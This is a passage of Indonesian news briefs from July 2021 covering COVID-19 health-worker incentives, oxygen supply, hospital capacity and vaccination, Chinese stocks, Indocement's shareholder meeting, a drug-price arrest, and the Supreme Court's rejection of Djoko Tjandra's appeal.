(TPKD) agar dapat segera terselesaikan. Ia melanjutkan untuk tunggakan insentif dan santunan bagi 200.506 tenaga kesehatan tahun lalu telah dikaji BPKP sebesar Rp1,34 triliun atau 90,8 persen. Sementara untuk realisasi pembayaran insentif bagi 323.486 tenaga kesehatan tahun ini adalah sebesar Rp2,6 triliun dan pembayaran santunan kematian sebesar Rp49,8 miliar bagi 166 nakes. Selanjutnya, untuk akselerasi pembayaran insentif tenaga kesehatan daerah telah dialokasikan melalui earmarked Dana Alokasi Umum (DAU)/Dana Bagi Hasil (DBH) tahun 2021 sebesar Rp8,15 triliun. (mth)

Saham China Tergelincir Setelah Data Inflasi

Shanghai, FNN - Saham China melemah pada hari Jumat setelah data menunjukkan inflasi harga pokok produk pabrik tahunan negara itu tetap tidak tinggi dan menunjukkan meningkatnya tekanan pada ekonomi. Indeks utama hampir tidak bergerak selama minggu ini karena petunjuk mengejutkan Beijing terhadap pelonggaran moneter pada awal pekan ini gagal memberikan dukungan dan meningkatkan kekhawatiran atas pemulihan ekonomi negara itu. Indeks saham unggulan CSI300 turun 0,4 persen menjadi 5.069,44, sedangkan indeks Shanghai Composite berakhir datar di 3.524,09. Indeks CSI300 turun 0,2 persen untuk minggu ini, sementara indeks Shanghai naik 0,2 persen. Inflasi harga pokok produk pabrik China turun pada bulan Juni, tetapi secara tahunan tetap tinggi. Tekanan inflasi yang bertahan tinggi di sektor industri mendorong kabinet China minggu ini untuk memulai langkah-langkah pelonggaran kebijakan yang potensial. Kabinet China mengatakan pada hari Rabu akan menerapkan pemotongan menurut waktu atas rasio cadangan minimum (RRR) perbankan untuk mendukung ekonomi riil, terutama perusahaan kecil. Namun, para analis mengatakan petunjuk itu tidak menunjukkan perubahan haluan dalam kebijakan moneter dan menambahkan bahwa hal itu akan meningkatkan kekhawatiran bahwa pemulihan ekonomi lebih lemah dari yang diharapkan. Investor harus memperhatikan risiko potensial karena pasar sekarang menghadapi perubahan, termasuk risiko dari beberapa utang real estat China dan kemungkinan pengurangan pembelian obligasi oleh bank sentral AS Federal Reserve, Huaan Securities mengatakan dalam sebuah catatan. Pialang merekomendasikan sektor-sektor dengan pertumbuhan pendapatan yang kuat di paruh pertama, termasuk semikonduktor, perusahaan terkait kendaraan energi baru, dan sektor dengan valuasi saham yang rendah. Saham teknologi bersinar minggu ini, dengan indeks STAR50 Shanghai membukukan kenaikan minggu ke-sembilan. Enam kementerian China, termasuk Kementerian Perindustrian dan Teknologi Informasi, berjanji selama akhir pekan untuk mendukung perkembangan perusahaan manufaktur dan membantu perusahaan yang memenuhi syarat untuk mendapatkan pembiayaan dari pasar modal. (mth)

Polda Metro Jaya Tangkap Penjual Obat via Daring Lampaui HET

Jakarta, FNN - Penyidik Polda Metro Jaya menangkap dua orang yang menjual obat jenis oseltamivir phosphate 75 miligram secara daring dengan harga di atas harga eceran tertinggi (HET) Kementerian Kesehatan (Kemenkes). "Ada dua tersangka, inisial N. Ini yang menjual obat di atas HET yang ditetapkan Kemenkes, yang kedua adalah inisial MPP. Kaitanya N ini membeli obat dan menjual ke MPP dengan harga dua kali lipat, setelah itu MPP menawarkan ke masyarakat melalui media sosial," kata Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus di Mapolda Metro Jaya, Jakarta, Jumat. Obat jenis oseltamivir phosphate adalah obat keras yang digunakan dalam proses penyembuhan dari virus COVID-19 sehingga permintaannya melonjak drastis dan langka di pasaran. Yusri menjelaskan Kemenkes telah mengatur HET oseltamivir phosphate di angka sekitar Rp260 ribu per satu kotak. "Jadi, kalau 10 kotak itu Rp2,6 juta, sampai ke masyarakat yang membutuhkan itu harganya Rp8,4 juta sampai Rp8,5 juta. Ada kenaikan keuntungan yang ia peroleh sampai empat kali lipat karena tahu ini langka obatnya," tambahnya. Dalam kesempatan yang sama, Direktur Reserse Kriminal Umum Polda Metro Jaya Kombes Pol Tubagus Ade Hidayat aksi keduanya adalah salah satu penyebab kelangkaan obat tersebut baik di apotek berizin hingga rumah sakit. "Harusnya obat-obat itu tersedia di tempatnya, di RS, di apotek berizin karena dibeli dalam jumlah besar, dijual melalui 'online' dampaknya tempat yang seharusnya ada ini jadi nggak ada," kata Tubagus. Akibat perbuatannya kedua tersangka dikenakan Pasal 107 junto Pasal 29 UU nomor 7 tahun 2014, UU RI nomer 8 tentang perlindungan konsumen dan ITE. Para tersangka terancam hukuman hingga 10 tahun penjara. (mth)

Christian Kartawijaya Diangkat Jadi Dirut Indocement Kembali

Bogor, FNN - Pemegang saham menyetujui untuk mengangkat kembali Christian Kartawijaya sebagai Direktur Utama (Dirut) PT Indocement Tunggal Prakarsa Tbk (HeidelbergCement Group) "Persetujuan itu diputuskan pada Rapat Umum Pemegang Saham Tahunan (RUPST) PT Indocement Tunggal Prakarsa Tbk untuk tahun buku 2020 yang diselenggarakan pada Kamis (8/7) 2021," kata Direktur dan Sekretaris Perusahaan Indocement Oey Marcos dalam pernyataan yang diterima di Citeurup, Kabupaten Bogor, Jawa Barat, Jumat. Ia menjelaskan pemegang saham juga menyetujui untuk mengangkat kembali Tedy Djuhar dan Simon Subrata sebagai Wakil Komisaris Utama/Komisaris Independen perseroan, mengangkat kembali Dr Lorenz Nӓger dan Dr Albert Scheuer sebagai Komisaris Perseroan serta mengangkat Franciscus Welirang sebagai Komisaris Independen Perseroan dan mengangkat Juan Francisco Defalque sebagai Komisaris Perseroan. Selain itu, perseroan juga mengangkat kembali Hasan Imer, Ramakanta Bhattacharjee, Troy D. Soputro, dan Oey Marcos sebagai Direktur Perseroan serta mengangkat Benny S.Santoso menjadi Wakil Direktur Utama Perseroan. Disebutkannya bahwa masa jabatan anggota Dewan Komisaris dan Direksi Perseroan terhitung sejak penutupan rapat sampai dengan penutupan RUPST Perseroan tahun buku 2023, yang akan diselenggarakan pada tahun 2024. Kecuali, kata dia, untuk Kevin Gerard Gluskie yang akan berakhir pada penutupan RUPST Perseroan tahun buku 2022 yang akan diselenggarakan pada tahun 2023 dan David Jonathan Clarke yang akan berakhir pada penutupan RUPST Perseroan tahun buku 2021 yang akan diselenggarakan pada tahun 2022. Pada RUPST itu pemegang saham juga telah menyetujui penggunaan laba bersih Perseroan tahun buku 2020 sebesar Rp1.806.337 juta atau seluruh dari laba bersih tahun berjalan Perseroan tahun buku 2020 yang dapat diatribusikan kepada pemilik Perseroan dibagikan sebagai dividen tunai kepada Pemegang Saham Perseroan dan mengambil sebesar Rp862.556 juta atau sebesar 4,75 persen dari saldo laba ditahan yang belum ditentukan penggunaannya tersebut untuk dibagikan sebagai dividen tunai kepada Pemegang Saham Perseroan. Sehingga besarnya total final dividen yang diterima oleh pemegang 1 (satu) saham adalah Rp725, di mana sebesar Rp225 per saham telah didistribusikan kepada Pemegang Saham sebagai dividen interim tunai pada bulan Desember 2020 dan sisanya sebesar Rp500 per saham akan didistribusikan dalam bentuk dividen tunai kepada Pemegang Saham pada bulan Agustus 2021. Dengan memerhatikan ketentuan PT Bursa Efek Indonesia, untuk periode cum dividen untuk pasar reguler dan pasar negosiasi adalah hari Jumat (16/7)2021, dan ex-dividen-nya adalah hari Senin (19/7) 2021. Sedangkan cum dividen untuk pasar tunai adalah hari Rabu (21/7) dan ex-dividen-nya adalah Kamis (22/7). Pembayaran dividen dilakukan sejak Rabu (11/7) 2021. Pajak atas dividen tunai akan diberlakukan sesuai ketentuan perpajakan yang berlaku di Indonesia. Sementara itu, pada Rapat Umum Pemegang Saham Luar Biasa (RUPSLB) Perseroan menyetujui untuk melakukan pengubahan dan penambahan beberapa ketentuan Anggaran Dasar Perseroan dalam rangka penambahan Kegiatan usaha utama dan penambahan kegiatan usaha penunjang yang telah dilakukan dalam operasional Perseroan serta penyesuaian dengan Peraturan OJK terkait dengan Rencana dan Penyelenggaraan Rapat Umum Pemegang Saham dan Pelaksanaan Rapat Umum Pemegang Saham secara Elektronik. Indocement adalah salah satu produsen semen terbesar di Indonesia. Saat ini Indocement dan entitas anaknya bergerak dalam beberapa bidang usaha yang meliputi pabrikasi dan penjualan semen (sebagai usaha inti) dan beton siap-pakai, serta tambang agregat dan trass, dengan jumlah karyawan sekitar 5.000 orang. Indocement mempunyai 13 pabrik dengan total kapasitas produksi tahunan sebesar 24,9 juta ton semen, yakni 10 pabrik berlokasi di Kompleks Pabrik Citeureup, Kabupaten Bogor, Jawa Barat, dua pabrik di Kompleks Pabrik Palimanan, Kabupaten Cirebon, Jawa Barat, dan satu pabrik di Kompleks Pabrik Tarjun, Kotabaru, Kalimantan Selatan, demikian Oey Marcos. (mth)

KASAD Minta RS TNI AD Melaporkan Seluruh Kebutuhan Penanganan COVID-19

Jakarta, FNN - Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa meminta fasilitas kesehatan dan rumah sakit milik TNI AD di seluruh Indonesia agar melaporkan semua kebutuhan penunjang untuk penanganan COVID-19. "Laporkan segala kebutuhan alat kesehatan maupun tenaga kesehatan yang menunjang penanganan COVID-19. Ini merupakan tanggung jawab bersama dalam menghadapi COVID-19 yang kembali meningkat," kata Jenderal TNI Andika Perkasa dalam siaran TNI AD di Jakarta, Jumat. Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa mengadakan telekonferensi secara rutin dengan para Kepala Kesehatan Kodam, Kepala Rumah Sakit TNI AD, serta jajaran terkait untuk menerima informasi dan memberikan arahan dalam penanganan COVID-19. Kasad terus rutin memantau kondisi COVID-19 di Tanah Air yang kini kembali meningkat. Ketersediaan rumah sakit dan tenaga medis yang bertugas mulai kesulitan dalam menangani pasien yang jumlahnya selalu bertambah setiap hari. Pada telekonferensi, Kepala RSPAD Letjen TNI dr Albertus Budi Sulistya melaporkan kepada Jenderal TNI Andika Perkasa soal ketersediaan tempat tidur di RSPAD ditingkatkan menjadi 381 unit dengan penambahan rumah sakit lapangan. Namun, RSPAD meminta dukungan tambahan dokter umum karena banyak tenaga kesehatan yang terpapar COVID-19. “Untuk tenaga dokter, khusus dokter umum, kami harus mempersiapkan tenaga pengganti. Jika dimungkinkan belum lama kemarin ada Sarcab untuk tenaga dokter, yang sudah penempatan di batalyon pun, bisa kami rekrut kembali untuk menambah penguatan dokter umum di RSPAD,” kata Kepala RSPAD. Jenderal TNI Andika Perkasa juga menerima laporan dari Kepala Rumah Sakit Tingkat Il Ridwan Meureksa dan Rumah Sakit Tingkat IV Cijantung, mengenai rencana konversi ruangan untuk pasien COVID-19 serta soal dukungan untuk melengkapi alat kesehatan maupun tenaga kesehatan. Selain itu, Kepala Kesehatan Kodam lIl Siliwangi, Kepala Kesehatan Kodam IV/Diponegoro, Kepala Kesehatan Kodam V/Brawijaya juga memberikan laporan mengenai ketersediaan tempat tidur untuk perawatan pasien COVID-19 di beberapa rumah sakit yang terdapat di masing-masing daerah. (mth)

Kemenkeu Prediksikan PPKM Darurat Tahan Laju Ekonomi Kuartal III

Jakarta, FNN - Kepala Badan Kebijakan Fiskal Kementerian Keuangan (Kemenkeu) Febrio Kacaribu memprediksikan kebijakan PPKM Darurat yang diterapkan untuk menekan penyebaran COVID-19 akan menahan laju pertumbuhan ekonomi kuartal III-2021. “Melalui PPKM Darurat ini jelas akan berdampak dan nanti dampaknya akan terlihat sesignifikan apa di kuartal III,” katanya dalam diskusi daring di Jakarta, Jumat. Febrio menjelaskan hal itu berpotensi terjadi mengingat konsumsi masyarakat terdampak signifikan, terutama pada kelompok pengeluaran terkait transportasi, pakaian, dan rekreasi. Di sisi lain ia menuturkan dampak terhadap investasi relatif moderat karena lebih dari 70 persen investasi Indonesia didominasi dalam bentuk bangunan sehingga proyek-proyek pembangunan konstruksi masih berjalan dengan penerapan protokol kesehatan yang ketat. Kemudian dampak terhadap dunia usaha relatif mix yakni sektor yang sensitif terhadap mobilitas diperkirakan tertahan, namun sektor yang berorientasi ekspor tetap resilient. “Kita tahu akan terkoreksi namun kita berharap PPKM Darurat ini menyelamatkan masyarakat dan bisa secara efektif kita lakukan sehingga dampaknya terhadap ekonomi bisa relatif terkontrol,” jelasnya. Oleh sebab itu ia memastikan pemerintah terus mengakselerasi program vaksinasi yang hingga 8 Juli 2021 telah mencapai 49,48 juta dosis meliputi 34,86 juta dosis vaksinasi pertama dan 14,62 juta dosis vaksinasi kedua. Tak hanya itu ia juga menegaskan pemerintah turut menerapkan kebijakan pemulihan ekonomi nasional yang adaptif dan responsif dalam membantu masyarakat rentan dan dunia usaha. Febrio mengatakan upaya ini dalam rangka mencapai target pertumbuhan ekonomi secara keseluruhan tahun sebesar 3,7 persen sampai 4,5 persen. “Ini kita tinggal dua kuartal lagi itu satu semester. Kita berharap bisa 3,7 persen sampai 4,5 persen,” ujarnya. (mth)

Menko Polhukam Tanggapi Soal Bantuan Oksigen Indonesia ke India

Jakarta, FNN - Menteri Koordinator Bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD memberikan tanggapan soal isu Indonesia memberikan bantuan oksigen ke India, padahal Indonesia kesulitan mendapatkan tabung oksigen. "Isu pemberian bantuan oksigen dari Indonesia ke India pada bulan Mei yang lalu saya kira kalau kita membaca pemberitaan, sejarah tentang hubungan antarnegara itu tidak menjadi masalah. Karena Indonesia pun sering dapat bantuan, di dalam dunia internasional itu biasa," kata Mahfud dalam akun YouTube Kemenko Polhukam, yang terpantau di Jakarta, Jumat. Menurut dia, dalam dunia internasional memberikan bantuan kepada negara yang terkena musibah merupakan hal biasa. Oleh karena itu, pada Mei 2021 Indonesia membantu India. "Pada waktu itu kan kita bantunya awal Mei, ketika tingkat kesembuhan di tempat kita hampir selalu lebih tinggi daripada yang terinfeksi sehingga pada saat itu oksigen sangat banyak lalu India sedang sangat parah dan Indonesia membantu. Itu biasa saja," kata Mahfud. Selain itu, kata mantan Ketua Mahkamah Konstitusi ini, Indonesia juga pernah membantu negara lain, seperti Jepang (tsunami) dan Australia (kebakaran hutan). Hal tersebut, lanjut di, adalah sebuah hubungan antarnegara yang memiliki program kemanusiaan mulai dari bantuan obat, hingga makanan. "Indonesia juga sering dibantu, dalam situasi COVID-19 ini kita dapat bantu. Nah ketika sekarang Indonesia saat keadaan seperti ini, sekarang ini sedang mengalami eksponensial terinfeksi juga beberapa negara juga sudah menawarkan dan memberikan bantuan. Itu biasa saja negara-negara yang bersahabat," papar Mahfud. Saat ini, tambah dia, Indonesia sedang alami peningkatan kasus beberapa negara pun sudah memberikan bantuan. Oleh karena itu, Mahfud meminta agar masyarakat jangan menghitung-hitung bantuan sebab antara negara lain selalu bekerja sama untuk memberikan bantuan kepada negara yang terkena musibah. "Jangan hanya menghitung, mereka butuh dan kita dibantu. Kita saat membantu dulu Indonesia tidak alami eksponensial seperti sekarang ini dan sekarang beberapa negara sudah menawarkan bantuan juga. Itu biasa, dalam hubungan internasional setiap negara punya program kemanusiaan sekarang ini sudah ada masuk ke kita tabung oksigen," demikian Mahfud MD. Sebelumnya, Indonesia kembali memberikan sebanyak 2.000 unit tabung oksigen untuk melengkapi komitmen hibah kemanusiaan kepada India di tengah pandemi COVID-19. Penyerahan hibah tabung oksigen itu dilakukan oleh Konsul Jenderal RI di Mumbai Agus P. Saptono kepada Indian Red Cross Society (IRCS) di pelabuhan Nhava Sheva, seperti disampaikan dalam keterangan KJRI Mumbai yang diterima di Jakarta, Senin (28/6). Kedatangan 2.000 unit tabung oksigen itu merupakan penghantaran bantuan yang ketiga dan merupakan tahapan terakhir setelah sebelumnya Indonesia mengirim 1.400 unit tabung oksigen yang diterima oleh IRCS Mumbai pada 8 Juni dan 200 konsentrator oksigen yang tiba di New Delhi pada 12 Mei lalu. Bantuan tabung oksigen itu diterima oleh perwakilan Sekretaris Jenderal IRCS, T.B. Sakloth dan dihadiri oleh Komisaris Bea Cukai India Sandeep Bokhale dan sejumlah pejabat manajemen pelabuhan Nhava Sheva. (sws)

Pasokan Oksigen untuk Rumah Sakit di Kota Surabaya Masih Aman

Surabaya, FNN - Pasokan oksigen untuk mendukung penanganan pasien COVID-19 di rumah sakit-rumah sakit di Kota Surabaya, Jawa Timur, hingga saat ini masih aman, kata Wakil Wali Kota Surabaya Armuji. "Pasokan oksigen terpenuhi, jadi masyarakat tidak perlu khawatir," katanya di Surabaya, Jumat. Ia mengatakan bahwa pemerintah kota sudah berkoordinasi dengan produsen gas oksigen di Surabaya seperti PT Samator dan PT Aneka Gas untuk mengamankan suplai oksigen medis bagi rumah sakit. Wali Kota Surabaya Eri Cahyadi sebelumnya mengemukakan bahwa pemerintah kota berupaya memastikan ketersediaan oksigen medis untuk pasien di rumah sakit maupun penderita COVID-19 yang menjalani isolasi mandiri (isoman). Komisi B DPRD Surabaya sudah meminta pemerintah kota membentuk satuan tugas yang meliputi aparat Dinas Kesehatan, Dinas Perdagangan, serta TNI dan Polri guna menangani masalah ketersediaan oksigen untuk mendukung perawatan penderita COVID-19. Menurut Komisi B DPRD Surabaya, satuan tugas tersebut nantinya harus memastikan stok oksigen aman, harganya terjangkau, dan mudah diakses oleh rumah sakit dan warga. Kepala Kantor Komisi Pengawas Persaingan Usaha (KPPU) Wilayah IV Surabaya Dendy Rakhmad Sutrisno mengemukakan bahwa belakangan harga oksigen medis naik dan warga sulit memperolehnya. Menurut pantauan KPPU, ia mengatakan, gas oksigen dalam tabung satu meter kubik yang biasanya dijual Rp700 ribu sampai Rp800 ribu kini dijual seharga Rp1,2 juta hingga Rp2,1 juta. Harga isi ulang gas oksigen juga meningkat menjadi sekitar Rp150 ribu per meter kubik dari Rp30 ribu per meter kubik. (mth)

Pasien RSD Wisma Atlet Sembuh COVID-19 Sebanyak 104.183 Orang

Jakarta, FNN - Pasien sembuh COVID-19 di Rumah Sakit Darurat (RSD) Wisma Atlet, Kemayoran, tower 4, 5, 6 & 7 Jakarta, hingga 9 Juli 2021 dilaporkan berjumlah 104.183 orang. Kepala Penerangan Kogabwilhan I Kolonel Marinir Aris Mudian, dalam keterangan persnya, Jumat, mengatakan jumlah pasien sembuh merupakan akumulasi dari pencatatan sejak 23 Maret 2020 lalu. "Rekapitulasi sejak 23 Maret 2020 - 9 Juli 2021, pasien terdaftar sebanyak 111.434 pasien, pasien sembuh 104.183 orang," kata dia. Lebih lanjut, rekapitulasi pasien sejak 23 Maret 2020 untuk pasien yang berada di tower 4, 5, 6, dan 7 didata terjadi penambahan angka kesembuhan sebesar 783 orang jika dibandingkan dengan angka kesembuhan sebelumnya. Kemudian, sebanyak 942 pasien dirujuk ke rumah sakit lain, sedangkan untuk data yang meninggal dunia dicatat sebanyak 307 orang. RSDC Wisma Atlet Kemayoran tower 4, 5, 6 dan 7, pada laporan 9 Juli 2021 ini mendata terdapat sebanyak 6.002 pasien perawatan COVID-19. Jumlah tersebut bertambah 103 pasien jika dibandingkan laporan sebelumnya yang berjumlah 5.899 orang. Kemudian, RSDC Wisma Atlet Pademangan, atau untuk tower 8, mendata pasien rawat inap sebanyak 761 orang, angka ini berkurang sebanyak 207 orang dibandingkan laporan sebelumnya. Jumlah data total untuk tower 4, 5, 6, 7, dan 8 sesuai data Jumat 2 Juli 2021, merawat sebanyak 6.763 pasien perawatan COVID-19. Jumlah tersebut berkurang 104 pasien jika dibandingkan laporan sebelumnya yang berjumlah 6.867 orang. Lebih lanjut, RSDC terhitung mulai 28 Juni 2021 juga merawat pasien perawatan COVID-19 di RSDC Rusun Nagrak atau tower 1, 2 dan 3. Data hingga 9 Juli 2021 menginventarisasi, pasien terdaftar sebanyak 5.140 orang, pasien selesai isolasi 3.051 orang, pasien dirujuk ke RS lain 32 orang dan tidak ada data pasien meninggal dunia. RSDC Rusun Nagrak merawat 1.806 orang pasien perawatan COVID-19. Angka ini dicatat berkurang sebanyak 139 orang dibandingkan laporan semula yang berjumlah 1.945. Sementara itu, RS Khusus Infeksi COVID-19 di Pulau Galang merawat sebanyak 290 pasien, 290 pasien berstatus positif COVID-19, data kali ini tidak ada pasien suspek terdaftar di RSKI. Jumlah pasien rawat inap berkurang 36 orang. Atau, pasien positif berkurang 36 orang jika dibandingkan dengan laporan sebelumnya yang berjumlah 326 orang. Pasien yang terdaftar di rumah sakit itu sejak 12 April 2020 yakni sebanyak 14.321 orang, sebanyak 6.888 orang pasien sembuh, 7.297 pasien suspek yang selesai perawatan, pasien dirujuk ke rumah sakit lain 42 orang, dan tidak ada pasien meninggal di RSD Pulau Galang. (sws)

Anggota DPR: RUU HKPD Perlu Muat Solusi Jawab Berbagai Persoalan

Jakarta, FNN - Anggota Komisi XI DPR RI Anis Byarwati menilai Rancangan Undang-Undang (RUU) Hubungan Keuangan Pemerintah Pusat dan Daerah (HKPD) perlu dirancang untuk memuat solusi guna menjawab persoalan yang sudah ada sejak belasan tahun lalu. "RUU HKPD yang sedang dirancang perlu memuat solusi yang ditawarkan untuk menjawab permasalahan-permasalahan yang memang sudah terdeteksi sejak belasan tahun lalu," kata Anis dalam keterangannya di Jakarta, Jumat. Anis mengungkapkan bahwa penelitian tentang penyaluran anggaran pemerintah pusat ke daerah telah banyak dilakukan, salah satunya yang dilakukan Bank Dunia (WB) tahun 2010 yang dituangkan dalam Laporan Penelitian Dana Transfer Pusat ke Daerah; Penyempurnaan Grand Design Desentralisasi Fiskal 2010. Menurut dia, dalam penelitan WB itu menyebutkan permasalahan-permasalahan yang terjadi terutama terkait dengan administrasi, keterlambatan, peraturan selalu berubah, dan juknis yang selalu terlambat. "Laporan penelitian yang dikeluarkan World Bank tahun 2010 harus menjadi catatan untuk semua karena sudah sebelas tahun berlalu, masalah yang telah diungkap dalam penelitian ini masih terus berulang bahkan belum menemukan solusinya," ujarnya. Anis menyampaikan keprihatinannya atas sejumlah persoalan krusial yang disampaikan para pakar yang hadir dalam Rapat Dengar Pendapat Umum (RDPU) Panitia Kerja (Panja) HKPD Komisi XI DPR RI yang digelar pada Rabu (7/7). Dalam rapat itu, menurut dia, terungkap sisi-sisi filosofi dari otonomi daerah dimana desentralisasi fiskal merupakan salah satu dari desentralisasi ekonomi yang terkandung di dalam otonomi daerah. Dia menilai dalam mengelola negara Indonesia dengan jumlah penduduk yang sangat besar yaitu sejumlah 270,22 juta jiwa, keragaman etnis dan budaya yang tercermin dalam Bhinneka Tunggal Ika tentu tidak mudah. "Namun ada kewajiban pemerintah pusat yang harus dilakukan untuk mentransfer keuangan kepada pemerintah daerah yang merupakan hak daerah sebagai konsekuensi pembagian tugas untuk menyejahterakan dan memakmurkan rakyat di daerahnya,” ujarnya. Anis menjelaskan fakta di lapangan menunjukkan bahwa transfer dari pemerintah pusat kepada pemerintah daerah, jumlahnya tidak signifikan sehingga membuat pemda kesulitan dalam membangun dan menyejahterakan rakyat di daerahnya. Hal itu, menurut dia, menjadi catatan penting bahwa Transfer ke Daerah dan Dana Desa (TKDD) adalah hak daerah, dengan konsekuensi daerah memiliki tugas untuk menyejahterakan rakyat di daerahnya. Dia mengatakan terkait kemandirian fiskal daerah, sebagaimana data yang dikemukakan oleh para ahli, fakta dil apangan menunjukkan bahwa sebagian besar atau sekitar 70 persen anggaran daerah mengandalkan TKDD dan pendapatan asli daerah (PAD) rata-rata hanya sekitar 20-30 persen. "Jika TKDD macet, alangkah menderitanya daerah apalagi terkait dengan pelayanan publik, pembangunan-pembangunan infrastruktur, dan lainnya," katanya. (sws)

KH Muammar Bakry: PPKM Darurat, Menjaga Jiwa Bagian dari Syariat Islam

Jakarta, FNN - Imam Besar Masjid Al Markas Al Islami Makassar, Dr KH Muammar Bakry Lc, mengatakan, kebijakan pemerintah dalam menerapkan Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Darurat sebagai upaya menjaga jiwa seluruh umat dari penyebaran virus Covid-19 merupakan bagian dalam syariat Islam. “Dalam konsep maqasidh syariat biasa disebut dengan dharuriyat al-khams (lima hal utama keberadaan syariat), sehingga menjaga jiwa ini kadang bisa lebih tinggi nilainya dari menjaga agama ketika dalam keadaan darurat atau khusus seperti sekarang ini,” ujar dia, di Makassar, Sulawesi Selatan, dalam keterangan tertulisnya, Jumat. Menurut dia, dalam pandangan syariat jika seseorang dihadapkan pada situasi genting yang dapat membahayakan jiwa atau nyawa maka perkara agama seperti shalat bisa ditinggalkan untuk menyelamatkan jiwa. Karena ketika kondisi tersebut menjadi urutan kepentingan, maka agama menjadi sekunder. Sedangkan menjaga jiwa menjadi primer atau prioritas. “Misalnya Shalat Jum’at berjamaah yang hukumnya wajib, itu kemudian boleh ditinggalkan apabila dikhawatirkan ketika kita keluar berada dikerumunan tidak ada jaminan terbebas dari virus Covid-19, maka seseorang boleh meninggalkan hal yang wajib tersebut,” terang Dekan Fakultas Syariah dan Hukum UIN Alauddin Makassar ini. Lebih lanjut kiai yang juga dosen fiqih di Universitas Islam Negeri Alauddin di Makassar, ini mengatakan, kewajiban umat untuk menjaga jiwa ini adalah bagian dari syariat Islam. Dan hal ini harus dijelaskan dengan baik agar masyarakat tercerahkan pemikirannya sehingga tidak muncul mispersepsi di tengah masyarakat yang beragam dalam kondisi seperti sekarang ini. “Selain itu juga harus diperkuat dengan pandangan ulama dan juga dalil-dalil, baik itu ayat maupun hadis supaya masyarakat memahami betul kalau keputusan pemerintah dalam menerapkan PPKM darurat ini bukan hanya kepentingan politis, namun kebijakan tersebut juga mengandung perintah agama untuk menyelamatkan jiwa,” ujarnya. Muammar juga mengingatkan peran aktif dari para tokoh agama yang dinilainya sangat penting. Menurutnya, dengan adanya peran para tokoh agama, diharapkan imbauan pemerintah mengenai pembatasan ibadah di masjid dan tempat ibadah lainnya bisa dipahami dengan baik oleh masyarakat agar terhindar dari penyebaran wabah Covid-19. ”Kalau sudah ada imbauan dari para tokoh agama, maka kami juga berharap kepada seluruh lapisan masyarakat hendaknya patuh dan taat pada ulama, tokoh agamanya dan umara’ yang senantiasa telah mendahulukan dan memikirkan kemaslahatan umat ini,” tuturnya. Terlebih menurut kiai kelahiran Makassar, 22 November 1973 itu, dalam kondisi genting pandemi Covid-19 yang melanda berbagai daerah di Indonesia bahkan di seluruh dunia, seharusnya ulama, umat dan umara (pemimpin/pemerintah) justru harus saling membantu untuk mengatasi situasi pandemi ini. “Kita selaku umat Islam, tentu harus merujuk pada fatwa ulama di samping itu sebagai warga Indonesia kita juga harus taat pada ulil amri (pemerintah) sebagaimana perintah di dalam agama, sehingga kita bisa berdosa jika tidak taat pada keduanya,” katanya. (sws)

Mahkamah Agung Tolak Kasasi Djoko Tjandra Kasus Surat Jalan Palsu

Jakarta, FNN - Mahkamah Agung (MA) RI menolak kasasi yang diajukan oleh Jaksa Penuntut Umum dan terdakwa Djoko Tjandra alias Joko Soegiarto Tjandra dalam kasus surat jalan palsu. "Amar putusannya menolak permohonan kasasi penuntut umum dan terdakwa," kata Juru Bicara MA Andi Samsan Nganro saat dihubungi di Jakarta, Jumat. Adapun pertimbangan hukum, kata Wakil Ketua MA bidang Yudisial tersebut terdakwa pada saat akan kembali ke Jakarta menggunakan pesawat carter. Terdakwa Joko Soegiarto Tjandra menggunakan surat jalan atas nama Anita Dewi A Kolopaking yang dibuat oleh saksi Dodi Jaya. Surat itu dibuat atas perintah mantan Koordinator Biro dan Pengawasan PPNS Mabes Polri Brigadir Jenderal Pol Prasetijo Utomo. Selain itu, Djoko Tjandra juga menggunakan surat bebas COVID-19 yang diterbitkan oleh Pusdokes yang diurus oleh Etty Wachyuni staf Prasetijo Utomo. "Padahal terdakwa tidak pernah melakukan pemeriksaan bebas COVID-19," ujar dia. Surat jalan tersebut isinya tidak benar karena alamat saksi Anita Dewi A Kolopaking dan terdakwa Joko Soegiarto Tjandra bukanlah di Jalan Trunojoyo nomor 3 Kebayoran Baru, Jakarta Selatan. "Selain itu pekerjaan saksi Anita Dewi A Kolopaking dan terdakwa bukanlah konsultan Bareskrim Polri," kata dia. Dalam putusannya, majelis mengatakan saksi Prasetijo Utomo dan Anita Dewi A Kolopaking pada 6 Juni 2020 menjemput terdakwa Djoko Tjandra ke Bandara Supadio Pontianak dan terbang ke Bandara Halim Perdanakusuma dengan pesawat carter. Kemudian pada 8 Juni 2020 Prasetijo Utomo dan Anita Dewi A Kolopaking kembali mengantar Djoko Tjandra dari Bandara Halim Perdanakusuma menuju Pontianak. Pada 16 Juni 2020 terdakwa Djoko Tjandra kembali menghubungi Anita Dewi A Kolopaking untuk dibuatkan kembali surat-surat seperti sebelumnya dan atas penyampaian tersebut Prasetjo Utomo menyanggupinya. (sws)

Kapolri Yakin 'Herd Immunity' Terbentuk Akhir Agustus di Jawa Timur

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo meyakini kekebalan kelompok atau 'herd immunity' akan terbentuk pada akhir Agustus 2021 di Provinsi Jawa Timur dengan masifnya pelaksanaan vaksinasi massal yang dilakukan TNI-Polri. "Harapannya apabila target per hari 300 ribu tercapai dipertahankan dan ditingkatkan maka akhir Agustus 2021 akan menjadi hadiah bagi masyarakat Jawa Timur dalam mencapai herd immunity," kata Sigit dalam keterangan tertulis saat meninjau vaksinasi massal di Mall Grand City, Surabaya, Jawa Timur, Jumat. Bersama Panglima TNI Marsekal TNI Hadi Tjahjanto, Sigit mengapresiasi soliditas atau kekompakan jajaran Forum Koordinasi Pimpinan Daerah (Forkompinda) Jawa Timur dalam penanganan pandemi COVID-19, termasuk pelaksanaan vaksinasi massal. Vaksinasi massal TNI-Polri di Surabaya diselenggarakan Walubi bekerja sama dengan perwakilan Kodam V/Brawijaya dengan menargetkan 300 ribu warga diimunisasi vaksin COVID-19 per hari. Dalam kesempatan itu, mantan Kapolda Banten tersebut mengingatkan masyarakat yang telah divaksin tetap mematuhi protokol kesehatan dengan menjaga jarak, memakai masker, mencuci tangan, menghindari kerumunan, dan mengurangi mobilitas. "Terus semangat, jaga jarak, dan pakai masker karena COVID-19 masih ada di sekitar kita. Sayangi keluarga, sayangi saudara, sayangi teman-teman kita," ujar Sigit. Sigit kembali menyosialisasikan kepada 